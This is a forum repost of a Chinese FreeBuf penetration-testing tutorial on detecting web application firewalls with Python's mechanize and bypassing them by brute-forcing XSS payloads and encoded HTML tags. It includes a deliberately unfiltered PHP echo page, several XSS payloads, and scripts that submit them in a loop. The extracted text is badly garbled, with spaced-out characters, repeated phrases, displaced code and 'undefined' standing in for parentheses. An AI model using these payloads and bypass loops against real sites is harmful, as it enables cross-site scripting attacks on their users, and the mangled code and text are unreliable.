搜索

[11520] 2017-07-02_使用Python检测并绕过Web应用程序防火墙

文档创建者：s7ckTeam
浏览次数：16
最后更新：2025-01-18
2017-07-02_使用Python检测并绕过Web应用程序防火墙 使 用 P y t h o n 检 测 并 绕 过 W e b 应 用 程 序 防 火 墙 s e c i s t   F r e e B u f   2 0 1 7 - 0 7 - 0 2 W e b 应 用 防 火 墙 通 常 会 被 部 署 在 应 用 防 火 墙 通 常 会 被 部 署 在 W e b 客 户 端 与 客 户 端 与 W e b 服 务 器 之 间 ， 以 过 滤 来 自 服 务 器 的 恶 意 流 量 。 而 作 为 一 名 渗 服 务 器 之 间 ， 以 过 滤 来 自 服 务 器 的 恶 意 流 量 。 而 作 为 一 名 渗 透 测 试 人 员 ， 想 要 更 好 的 突 破 目 标 系 统 ， 就 必 须 要 了 解 目 标 系 统 的 透 测 试 人 员 ， 想 要 更 好 的 突 破 目 标 系 统 ， 就 必 须 要 了 解 目 标 系 统 的 W A F 规 则 。 如 今 ， 许 多 规 则 。 如 今 ， 许 多 W A F 都 是 基 于 签 名 都 是 基 于 签 名 的 。 下 图 简 单 描 绘 了 一 个 的 。 下 图 简 单 描 绘 了 一 个 W e b 应 用 防 火 墙 的 工 作 流 程 ： 应 用 防 火 墙 的 工 作 流 程 ： 什 么 是 基 于 签 名 的 防 火 墙 ？ 什 么 是 基 于 签 名 的 防 火 墙 ？ 在 基 于 签 名 的 防 火 墙 中 你 可 以 自 定 义 签 名 ， 如 果 你 知 道 某 种 网 络 攻 击 遵 循 某 种 类 型 的 模 式 或 签 名 。 那 么 你 就 可 以 定 义 匹 配 模 式 过 滤 掉 它 们 ， 例 如 ： P a y l o a d : -   < s v g > < s c r i p t > a l e r t & g r a v e ; 1 & g r a v e ; < p > 上 面 定 义 的 是 一 种 常 见 的 X S S   p a y l o a d ， 我 们 知 道 所 有 这 类 攻 击 都 可 能 包 含 -   > “ < s c r i p t > ” 这 些 字 符   ， 因 此 我 们 可 以 在 W A F 中 设 定 一 个 包 含 这 些 字 符 的 的 过 滤 规 则 ， 我 们 可 以 进 行 如 下 定 义 ： 1 .   < s c r i p t > 2 .   a l e r t ( * ) 第 一 个 签 名 将 过 滤 任 何 包 含 < s c r i p t > 字 符 串 的 请 求 ， 第 二 个 将 过 滤 任 何 包 含 a l e r t ( * ) 字 符 串 的 请 求 。 如 何 判 断 目 标 环 境 是 否 部 署 防 火 墙 ？ 如 何 判 断 目 标 环 境 是 否 部 署 防 火 墙 ？ 当 我 们 对 一 个 系 统 进 行 渗 透 时 ， 如 果 你 忽 略 了 防 火 墙 的 存 在 ， 那 么 就 会 为 我 们 的 测 试 带 来 诸 多 的 麻 烦 。 因 此 在 开 始 真 正 的 渗 透 之 前 ， 我 们 最 好 能 先 判 断 下 目 标 系 统 是 否 存 在 W A F 。 那 么 我 们 该 如 何 进 行 判 断 呢 ？ 我 们 还 拿 以 上 定 义 的 p a y l o a d 来 举 例 。 在 通 常 情 况 下 ， 如 果 我 们 在 一 个 部 署 有 W A F 的 系 统 上 执 行 以 上 p a y l o a d ， 那 么 在 h t t p 的 响 应 中 我 们 将 能 捕 获 到 W A F 留 下 的 轨 迹 ： H T T P / 1 . 1   4 0 6   N o t   A c c e p t a b l e D a t e :   M o n ,   1 0   J a n   2 0 1 6 S e r v e r :   n g i n x C o n t e n t - T y p e :   t e x t / h t m l ;   c h a r s e t = i s o - 8 8 5 9 - 1 N o t   A c c e p t a b l e ! N o t   A c c e p t a b l e !   A n   a p p r o p r i a t e   r e p r e s e n t a t i o n   o f   t h e r e q u e s t e d   r e s o u r c e   c o u l d   n o t   b e   f o u n d   o n   t h i s   s e r v e r .   T h i s   e r r o r   w a s   g e n e r a t e d   b y   M o d _ S e c u r i t y
可 以 看 到 ， 我 们 的 p a y l o a d 被 名 为 M o d _ S e c u r i t y 的 防 火 墙 给 过 滤 了 。 在 本 文 中 我 将 教 大 家 编 写 一 个 简 单 的 p y t h o n 脚 本 ， 以 帮 助 我 们 完 成 检 测 任 务 并 绕 过 防 火 墙 。 步 骤 步 骤 1 ： 定 义 ： 定 义 H T M L 文 档 和 文 档 和 P H P 脚 本 ！ 脚 本 ！ 首 先 ， 我 们 必 须 定 义 我 们 的 H T M L 文 档 来 注 入 p a y l o a d 和 相 应 的 P H P 脚 本 以 处 理 数 据 。 H T M L 文 档 定 义 如 下 ： 文 档 定 义 如 下 ： P H P 脚 本 ： 脚 本 ： 步 骤 步 骤 2 ： 准 备 恶 意 请 求 ！ ： 准 备 恶 意 请 求 ！ 为 了 检 测 防 火 墙 的 存 在 与 否 ， 第 二 步 我 们 需 要 创 建 一 个 会 被 防 火 墙 阻 止 的 恶 意 跨 站 脚 本 请 求 。 这 里 我 将 用 到 一 个 名 为 “ M e c h a n i z e ” 的 p y t h o n 模 块 ， 了 解 更 多 关 于 此 模 块 的 信 息 ， 请 阅 读 下 文 < 点 击 阅 读 原 文 查 看 链 接 > ： A u t o m a t e   C r o s s   S i t e   S c r i p t i n g   ( X S S )   a t t a c k   u s i n g   B e a u t i f u l   S o u p   a n d   M e c h a n i z e 如 果 你 已 经 了 解 了 M e c h a n i z e 模 块 ， 可 以 跳 过 此 文 章 的 阅 读 。 现 在 ， 我 们 就 可 以 对 任 意 页 面 提 供 的 W e b 表 单 发 起 请 求 了 。 实 现 代 码 如 下 ： 让 我 来 简 单 解 释 下 这 几 行 代 码 的 用 意 ： < h t m l > < b o d y > < f o r m   n a m e = " w a f "   a c t i o n = " w a f . p h p "   m e t h o d = " p o s t " > D a t a :   < i n p u t   t y p e = " t e x t "   n a m e = " d a t a " > < b r > < i n p u t   t y p e = " s u b m i t "   v a l u e = " S u b m i t " > < / f o r m > < / b o d y > < / h t m l > < h t m l > < b o d y > D a t a   f r o m   t h e   f o r m   :   < ? p h p   e c h o   $ _ P O S T [ " d a t a " ] ;   ? > < b r > < / b o d y > < / h t m l > i m p o r t   m e c h a n i z e   a s   m e c m a l i c i o u s R e q u e s t   =   m e c . B r o w s e r ( ) f o r m N a m e   =   ' w a f ' m a l i c i o u s R e q u e s t . o p e n ( " h t t p : / / c h e c k . c y b e r p e r s o n s . c o m / c r o s s S i t e C h e c k . h t m l " ) m a l i c i o u s R e q u e s t . s e l e c t _ f o r m ( f o r m N a m e )
1 .   在 第 一 行 代 码 ， 我 们 首 先 导 入 了 m e c h a n i z e 模 块 ， 并 给 它 了 一 个 简 称 ’ m e c ’ 以 便 我 们 后 续 使 用 。 2 .   要 想 使 用 m e c h a n i z e 下 载 网 页 ， 我 们 需 要 实 例 化 浏 览 器 。 因 此 在 第 二 行 代 码 中 ， 我 们 实 例 化 了 浏 览 器 。 3 .   在 步 骤 1 中 我 们 定 义 了 我 们 的 H T M L 文 档 ， 其 中 表 单 名 称 为 “ w a f ” 。 因 此 在 第 三 行 代 码 中 ， 我 们 需 要 告 诉 m e c h a n i z e 要 选 择 以 此 命 名 的 表 单 进 行 提 交 ， 所 以 f o r m N a m e 变 量 为 ‘ w a f ’ 。 4 .   第 四 行 代 码 就 是 打 开 目 标 U R L 地 址 ， 并 提 交 我 们 的 数 据 。 5 .   最 后 我 们 使 用 ’ s e l e c t _ f o r m ( ) ’ 函 数 传 递 ’ f o r m N a m e ’ 变 量 。 在 以 上 的 H T M L 文 档 中 ， 我 们 只 定 义 了 一 个 表 单 输 入 字 段 ， 我 们 将 利 用 该 字 段 注 入 我 们 的 恶 意 p a y l o a d ， 并 通 过 检 查 h t t p 响 应 信 息 来 判 断 目 标 是 否 部 署 了 W e b 应 用 防 火 墙 。 步 骤 步 骤 3 ： 准 备 ： 准 备 p a y l o a d 在 H T M L 文 档 中 我 们 定 义 了 一 个 名 为 ’ d a t a ’ 的 输 入 字 段 ： 因 此 ， 我 们 可 以 使 用 以 下 代 码 来 提 交 我 们 的 p a y l o a d ： 1 .   第 一 行 代 码 我 们 首 先 将 p a y l o a d 赋 给 了 变 量 ‘ c r o s s S i t e S c r i p t i n g P a y L o a d ’ 。 2 .   第 二 行 代 码 我 们 将 p a y l o a d 提 交 给 了 表 单 字 段 “ d a t a ” 。 步 骤 步 骤 4 ： 提 交 表 单 并 记 录 响 应 ： 提 交 表 单 并 记 录 响 应 下 面 我 们 提 交 此 表 单 并 记 录 响 应 信 息 ： 1 .   提 交 表 单 2 .   将 响 应 赋 给 变 量 。 3 .   将 将 响 应 信 息 打 印 出 来 。 由 于 我 目 前 并 未 安 装 部 署 防 火 墙 ， 所 以 我 得 到 了 如 下 响 应 ： i n p u t   t y p e = " t e x t "   n a m e = " d a t a " > < b r > c r o s s S i t e S c r i p t i n g P a y L o a d   =   " < s v g > < s c r i p t > a l e r t & g r a v e ; 1 & g r a v e ; < p > " m a l i c i o u s R e q u e s t . f o r m [ ' d a t a ' ]   =   c r o s s S i t e S c r i p t i n g P a y L o a d m a l i c i o u s R e q u e s t . s u b m i t ( ) r e s p o n s e   =   m a l i c i o u s R e q u e s t . r e s p o n s e ( ) . r e a d ( ) p r i n t   r e s p o n s e
可 以 看 到 p a y l o a d 被 打 印 在 了 H T M L 文 档 中 ， 这 也 说 明 应 用 程 序 代 码 中 没 有 任 何 的 过 滤 机 制 ， 并 且 由 于 没 有 防 火 墙 的 保 护 ， 我 们 的 恶 意 请 求 也 未 被 阻 止 。 步 骤 步 骤 5 ： 防 火 墙 部 署 检 测 ： 防 火 墙 部 署 检 测 变 量 ’ r e s p o n s e ’ 中 包 含 了 从 服 务 器 获 取 的 响 应 信 息 ， 也 是 我 们 判 断 目 标 环 境 是 否 部 署 防 火 墙 的 重 要 依 据 。 下 面 ， 我 们 将 针 对 以 下 几 款 防 火 墙 进 行 检 测 。 1 .   W e b K n i g h t 2 .   M o d _ S e c u r i t y 3 .   D o t   D e f e n d e r 看 看 我 们 如 何 用 p y t h o n 代 码 实 现 检 测 ： 这 段 代 码 首 先 我 们 对 W e b K n i g h t 的 防 火 墙 做 了 判 断 。 如 果 目 标 环 境 安 装 了 W e b K n i g h t ， 那 么 在 我 们 的 响 应 中 将 包 含 字 符 串 “ W e b K n i g h t ” ， 并 且 f i n d 函 数 的 返 回 值 也 将 会 大 于 0 。 同 样 ， 对 于 另 外 两 个 防 火 墙 亦 是 如 此 。 当 然 我 们 还 可 以 继 续 扩 展 我 们 的 p y t h o n 脚 本 ， 用 以 检 测 更 多 的 防 火 墙 类 型 ， 但 前 提 是 必 须 了 解 这 些 防 火 墙 的 基 本 响 应 特 征 。 使 用 暴 力 测 试 攻 击 绕 过 防 火 墙 过 滤 器 使 用 暴 力 测 试 攻 击 绕 过 防 火 墙 过 滤 器 在 文 章 开 头 我 就 说 过 ， 如 今 的 大 多 数 防 护 墙 都 是 基 于 签 名 来 过 滤 我 们 的 请 求 流 量 的 。 但 是 ， 这 并 不 意 味 着 我 们 就 拿 它 没 办 法 了 。 随 着 J a v a s c r i p t 的 日 趋 复 杂 ， 我 们 可 以 用 它 来 构 建 数 千 种 的 p a y l o a d 并 逐 一 进 行 尝 试 ， 以 绕 过 防 火 墙 的 检 测 。 需 要 说 明 的 是 如 果 防 护 墙 规 则 被 明 确 定 义 ， 那 么 该 方 法 可 能 会 失 效 。 下 面 让 我 们 使 用 p y t h o n 脚 本 ， 来 帮 助 我 们 完 成 暴 力 测 试 攻 击 ： i f   r e s p o n s e . f i n d ( ' W e b K n i g h t ' )   > =   0 :               p r i n t   " F i r e w a l l   d e t e c t e d :   W e b K n i g h t " e l i f   r e s p o n s e . f i n d ( ' M o d _ S e c u r i t y ' )   > =   0 :             p r i n t   " F i r e w a l l   d e t e c t e d :   M o d   S e c u r i t y " e l i f   r e s p o n s e . f i n d ( ' M o d _ S e c u r i t y ' )   > =   0 :             p r i n t   " F i r e w a l l   d e t e c t e d :   M o d   S e c u r i t y " e l i f   r e s p o n s e . f i n d ( ' d o t D e f e n d e r ' )   > =   0 :             p r i n t   " F i r e w a l l   d e t e c t e d :   D o t   D e f e n d e r " e l s e :             p r i n t   " N o   F i r e w a l l   P r e s e n t "
1 .   在 第 一 行 代 码 中 ， 我 们 定 义 了 3 个 p a y l o a d 的 列 表 ， 你 还 可 以 根 据 需 求 添 加 更 多 的 p a y l o a d 扩 展 此 列 表 。 2 .   接 着 在 f o r 循 环 中 ， 我 们 进 行 了 之 前 所 做 相 同 判 断 过 程 ， 但 这 一 次 我 们 需 要 对 应 列 表 中 的 每 个 p a y l o a d 。 3 .   收 到 响 应 后 ， 我 们 可 以 再 次 确 认 防 火 墙 是 否 真 的 存 在 。 由 于 我 并 未 安 装 部 署 防 火 墙 ， 所 以 我 得 到 了 如 下 响 应 ： 将 将 H T M L 标 签 转 换 为 标 签 转 换 为 U n i c o d e 或 或 H e x 实 体 实 体 l i s t o f P a y l o a d s   =   [ ' & l t ; d i a l o g   o p e n = " "   o n c l o s e = " a l e r t u n d e f i n e d 1 ) " & g t ; & l t ; f o r m   m e t h o d = " d i a l o g " & g t ; & l t ; b u t t o n & g t ; C l o s e   m e ! & l t ; / b u t t o n & g t ; & l t ; / f o r m & g t ; & l t ; / d i a l o g & g t ; ' ,   ' & l t ; s v g & g t ; & l t ; s c r i p t & g t ; p r o m p t & a m p ; # 4 0   1 & a m p ; # 4 1 & l t ; i & g t ; ' ,   ' & l t ; a   h r e f = " & a m p ; # 1 ; j a v a s c r i p t : a l e r t u n d e f i n e d 1 ) " & g t ; C L I C K   M E & l t ; a & g t ; ' ] f o r   p a y L o a d s   i n   l i s t o f P a y l o a d s :         m a l i c i o u s R e q u e s t   =   m e c . B r o w s e r u n d e f i n e d )         f o r m N a m e   =   ' w a f '         m a l i c i o u s R e q u e s t . o p e n u n d e f i n e d " h t t p : / / c h e c k . c y b e r p e r s o n s . c o m / c r o s s S i t e C h e c k . h t m l " )         m a l i c i o u s R e q u e s t . s e l e c t _ f o r m u n d e f i n e d f o r m N a m e )         m a l i c i o u s R e q u e s t . f o r m [ ' d a t a ' ]   =   p a y L o a d s         m a l i c i o u s R e q u e s t . s u b m i t u n d e f i n e d )         r e s p o n s e   =   m a l i c i o u s R e q u e s t . r e s p o n s e u n d e f i n e d ) . r e a d u n d e f i n e d )         i f   r e s p o n s e . f i n d u n d e f i n e d ' W e b K n i g h t ' )   & g t ; =   0 :                 p r i n t   " F i r e w a l l   d e t e c t e d :   W e b K n i g h t "         e l i f   r e s p o n s e . f i n d u n d e f i n e d ' M o d _ S e c u r i t y ' )   & g t ; =   0 :                 p r i n t   " F i r e w a l l   d e t e c t e d :   M o d   S e c u r i t y "         e l i f   r e s p o n s e . f i n d u n d e f i n e d ' M o d _ S e c u r i t y ' )   & g t ; =   0 :                 p r i n t   " F i r e w a l l   d e t e c t e d :   M o d   S e c u r i t y "         e l i f   r e s p o n s e . f i n d u n d e f i n e d ' d o t D e f e n d e r ' )   & g t ; =   0 :                 p r i n t   " F i r e w a l l   d e t e c t e d :   D o t   D e f e n d e r "         e l s e :                 p r i n t   " N o   F i r e w a l l   P r e s e n t "
如 果 防 火 墙 正 在 过 滤 h t m l 标 签 ， 如 < ， > 。 我 们 则 可 以 尝 试 将 这 些 实 体 进 行 U n i c o d e 或 H e x 转 码 再 进 行 发 送 ， 如 果 被 转 化 为 原 始 形 式 ， 那 么 这 也 将 成 为 我 们 的 一 个 突 破 口 。 我 们 可 以 使 用 以 下 代 码 进 行 判 断 ： 我 的 输 出 结 果 如 下 ： 从 结 果 可 以 看 到 ， 并 没 有 编 码 的 条 目 被 转 换 为 其 原 始 格 式 。 总 结 总 结 通 过 本 文 的 介 绍 ， 相 信 大 家 已 经 对 防 火 墙 有 了 一 个 基 本 的 了 解 和 认 识 。 作 为 一 名 安 全 测 试 人 员 ， 了 解 和 掌 握 防 火 墙 的 工 作 机 制 是 非 常 必 要 的 。 而 对 于 企 业 而 言 ， 更 不 能 忽 视 了 安 全 的 重 要 性 。 完 整 的 代 码 可 以 < 点 击 阅 读 原 文 查 看 链 接 下 载 > 。 * 参 考 来 源 ： 参 考 来 源 ： k a l i t u t o r i a l s ， ， F B 小 编 小 编   s e c i s t   编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M l i s t o f P a y l o a d s   =   [ ' & l t ; b & g t ; ' , ' u 0 0 3 c b u 0 0 3 e ' , ' x 3 c b x 3 e ' ] f o r   p a y L o a d s   i n   l i s t o f P a y l o a d s :           m a l i c i o u s R e q u e s t   =   m e c . B r o w s e r ( )           f o r m N a m e   =   ' w a f '           m a l i c i o u s R e q u e s t . o p e n ( " h t t p : / / c h e c k . c y b e r p e r s o n s . c o m / c r o s s S i t e C h e c k . h t m l " )           m a l i c i o u s R e q u e s t . s e l e c t _ f o r m ( f o r m N a m e )           m a l i c i o u s R e q u e s t . f o r m [ ' d a t a ' ]   =   p a y L o a d s           m a l i c i o u s R e q u e s t . s u b m i t ( )           r e s p o n s e   =   m a l i c i o u s R e q u e s t . r e s p o n s e ( ) . r e a d ( )           p r i n t   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "           p r i n t   r e s p o n s e           p r i n t   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理